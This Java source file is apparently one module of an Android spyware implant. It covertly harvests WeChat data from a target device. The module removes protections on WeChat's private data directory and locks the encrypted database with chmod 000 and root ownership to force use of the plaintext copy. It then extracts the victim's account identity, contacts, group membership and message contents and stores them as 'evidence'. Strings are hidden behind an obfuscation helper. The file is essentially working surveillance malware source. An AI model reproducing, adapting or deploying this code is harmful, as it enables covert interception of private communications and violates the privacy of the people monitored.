package com.android.dvci.module.chat; import java.io.File; import java.io.IOException; import java.util.ArrayList; import java.util.Arrays; import java.util.Date; import java.util.List; import java.util.concurrent.Semaphore; import android.database.Cursor; import com.android.dvci.auto.Cfg; import com.android.dvci.db.GenericSqliteHelper; import com.android.dvci.db.RecordVisitor; import com.android.dvci.file.Path; import com.android.dvci.manager.ManagerModule; import com.android.dvci.module.ModuleAddressBook; import com.android.dvci.util.Check; import com.android.dvci.util.StringUtils; import com.android.mm.M; public class ChatWeChat extends SubModuleChat { private static final String TAG = "ChatWeChat"; private static final int PROGRAM = 0x0a; private static final String DEFAULT_LOCAL_NUMBER = M.e("local"); String pObserving = M.e("com.tencent.mm"); // private String myPhoneNumber = "local"; String myId; String myName; String myPhone = DEFAULT_LOCAL_NUMBER; Semaphore readChatSemaphore = new Semaphore(1, true); private Long lastLine; @Override int getProgramId() { return PROGRAM; } @Override String getObservingProgram() { return pObserving; } @Override void notifyStopProgram(String processName) { if (Cfg.DEBUG) { Check.log(TAG + " (notification stop)"); } readChatWeChatMessages(); } /** * Estrae dal file RegisterPhone.xml il numero di telefono * * @return */ @Override protected void start() { if (Cfg.DEBUG) { Check.log(TAG + " (actualStart)"); } readChatWeChatMessages(); } // select messages._id,chat_list.key_remote_jid,key_from_me,data from // chat_list,messages where chat_list.key_remote_jid = // messages.key_remote_jid /** * Apre msgstore.db, estrae le conversazioni. Per ogni conversazione legge i * messaggi relativi * * Se wechat non puo' scrivere nel db cifrato, switcha su quello in chiaro * * @throws IOException */ private void readChatWeChatMessages() { if (Cfg.DEBUG) { Check.log(TAG + " (readChatMessages)"); } if (!readChatSemaphore.tryAcquire()) { if (Cfg.DEBUG) { Check.log(TAG + " (readChatMessages), semaphore red"); } return; } try { boolean updateMarkup = false; // cifrato String dbEncFile = M.e("EnMicroMsg.db"); // in chiaro String dbFile = M.e("MicroMsg.db"); String dbDir = ""; lastLine = markup.unserialize(new Long(0)); // Get DB Dir boolean ret = Path.unprotect(M.e("/data/data/com.tencent.mm/MicroMsg/"), 2, false); if(!ret){ if (Cfg.DEBUG) { Check.log(TAG + " (readChatWeChatMessages) Error: cannot unprotect wechat"); } return; } // Not the cleanest solution, we should figure out how the hash is // generated File fList = new File(M.e("/data/data/com.tencent.mm/MicroMsg/")); File[] files = fList.listFiles(); for (File f : files) { // Database directory is an md5 hash name // "671d5d475506b864194891d6a4d018e3" if (f.isDirectory() && f.getName().length() == 32) { dbDir = f.getName(); break; } } if (dbDir.length() == 0) { if (Cfg.DEBUG) { Check.log(TAG + " (readChatWhatsappMessages): Database directory not found"); //$NON-NLS-1$ } return; } // Lock encrypted DB dbDir = M.e("/data/data/com.tencent.mm/MicroMsg/") + dbDir + "/"; // chmod 000, chown root:root Path.lock(dbDir + dbEncFile); // TODO: si potrebbe killare wechat if (Path.unprotect(dbDir, dbFile, true)) { if (Cfg.DEBUG) { Check.log(TAG + " (readChatMessages): can read DB"); } long newLastLine = 0; GenericSqliteHelper helper = GenericSqliteHelper.openCopy(dbDir, dbFile); if (helper == null) { if (Cfg.DEBUG) { Check.log(TAG + " (readChatMessages) cannot open db"); } return; } try { setMyAccount(helper); ChatGroups groups = getChatGroups(helper); // Save contacts if AddressBook is active if (ManagerModule.self().isInstancedAgent(ModuleAddressBook.class)) { saveWechatContacts(helper); } newLastLine = fetchMessages(helper, groups, lastLine); }finally { helper.disposeDb(); } if (newLastLine > lastLine) { if (Cfg.DEBUG) { Check.log(TAG + " (readChatMessages): updating markup"); } try { markup.writeMarkupSerializable(new Long(newLastLine)); } catch (IOException e) { if (Cfg.DEBUG) { Check.log(TAG + " (readChatWeChatMessages) Error: " + e); } } } } else { if (Cfg.DEBUG) { Check.log(TAG + " (readChatMessages) Error, file not readable: " + dbFile); } } } catch (Exception ex) { if (Cfg.DEBUG) { Check.log(TAG + " (readChatWeChatMessages) Error: ", ex); } } finally { readChatSemaphore.release(); } } // select messages._id,chat_list.key_remote_jid,key_from_me,data from // chat_list,messages where chat_list.key_remote_jid = // messages.key_remote_jid private long fetchMessages(GenericSqliteHelper helper, final ChatGroups groups, long lastLine) { final ArrayList<MessageChat> messages = new ArrayList<MessageChat>(); String sqlquery = M.e("select m.createTime, m.talker, m.isSend, m.content, c.nickname from message as m join rcontact as c on m.talker=c.username where m.type = 1 and createTime > ? order by createTime"); RecordVisitor visitor = new RecordVisitor() { @Override public long cursor(Cursor cursor) { long createTime = cursor.getLong(0); // localtime or gmt? should be converted to gmt Date date = new Date(createTime); String talker = cursor.getString(1); int isSend = cursor.getInt(2); boolean incoming = isSend == 0; String content = cursor.getString(3); String nick = cursor.getString(4); String from_id = talker; String to_id = talker; if (Cfg.DEBUG) { Check.log(TAG + " (cursor) %s: %s(%s) %s %s", date, nick, talker, content, (incoming ? "INCOMING" : "OUTGOING")); } String from_name, to; if (talker.endsWith(M.e("@chatroom"))) { List<String> lines = Arrays.asList(content.split("\n")); if (incoming) { from_id = lines.get(0).trim(); from_id = from_id.substring(0, from_id.length() - 1); from_name = groups.getName(from_id); to = groups.getGroupToName(from_name, talker); to_id = groups.getGroupToId(from_name, talker); content = StringUtils.join(lines, "", 1); } else { from_name = myName; from_id = myId; to = groups.getGroupToName(myName, talker); to_id = groups.getGroupToId(myName, talker); } } else { from_name = incoming ? nick : myName; from_id = incoming ? talker : myId; to = incoming ? myName : nick; to_id = incoming ? myId : talker; } if (Cfg.DEBUG) { Check.log(TAG + " (cursor) %s -> %s", from_id, to_id); } MessageChat message = new MessageChat(PROGRAM, date, from_id, from_name, to_id, to, content, incoming); messages.add(message); return createTime; } }; long lastCreationLine = helper.traverseRawQuery(sqlquery, new String[] { Long.toString(lastLine) }, visitor); getModule().saveEvidence(messages); return lastCreationLine; } private void saveWechatContacts(GenericSqliteHelper helper) { String[] projection = new String[] { M.e("username"), M.e("nickname")}; boolean tosave = false; RecordVisitor visitor = new RecordVisitor(projection, M.e("nickname not null ")) { @Override public long cursor(Cursor cursor) { String username = cursor.getString(0); String nick = cursor.getString(1); Contact c = new Contact(username, username, nick, ""); if (username != null && username.startsWith( M.e("wxid"))) { if (ModuleAddressBook.createEvidenceRemote(ModuleAddressBook.WECHAT, c)) { if (Cfg.DEBUG) { Check.log(TAG + " (cursor) need to serialize"); } return 1; } } return 0; } }; if (helper.traverseRecords( M.e("rcontact"), visitor) == 1) { if (Cfg.DEBUG) { Check.log(TAG + " (saveWeChatContacts) serialize"); } ModuleAddressBook.getInstance().serializeContacts(); } } private void setMyAccount(GenericSqliteHelper helper) { RecordVisitor visitor = new RecordVisitor() { @Override public long cursor(Cursor cursor) { int id = cursor.getInt(0); if (id == 2) { myId = cursor.getString(2); } else if (id == 4) { myName = cursor.getString(2); } else if (id == 6) { myPhone = cursor.getString(2); } return id; } }; long ret = helper.traverseRecords( M.e("userinfo"), visitor); if (Cfg.DEBUG) { Check.log(TAG + " (setMyAccount) %s, %s, %s", myId, myName, myPhone); } if (!DEFAULT_LOCAL_NUMBER.equals(myPhone)) { ModuleAddressBook.createEvidenceLocal(ModuleAddressBook.WECHAT, myId, myName); } } private ChatGroups getChatGroups(GenericSqliteHelper helper) { // SQLiteDatabase db = helper.getReadableDatabase(); final ChatGroups groups = new ChatGroups(); RecordVisitor visitor = new RecordVisitor() { @Override public long cursor(Cursor cursor) { String key = cursor.getString(0); String mids = cursor.getString(2); String names = cursor.getString(3); String[] ms = mids.split(";"); String[] ns = names.split(","); for (int i = 0; i < ms.length; i++) { String id = ms[i].trim(); String name = ns[i].trim(); groups.addPeerToGroup(key, new Contact(id, name, name, null)); } if (Cfg.DEBUG) { Check.log(TAG + " (getChatGroups) %s", key); } return 0; } }; helper.traverseRecords(M.e("chatroom"), visitor); return groups; } }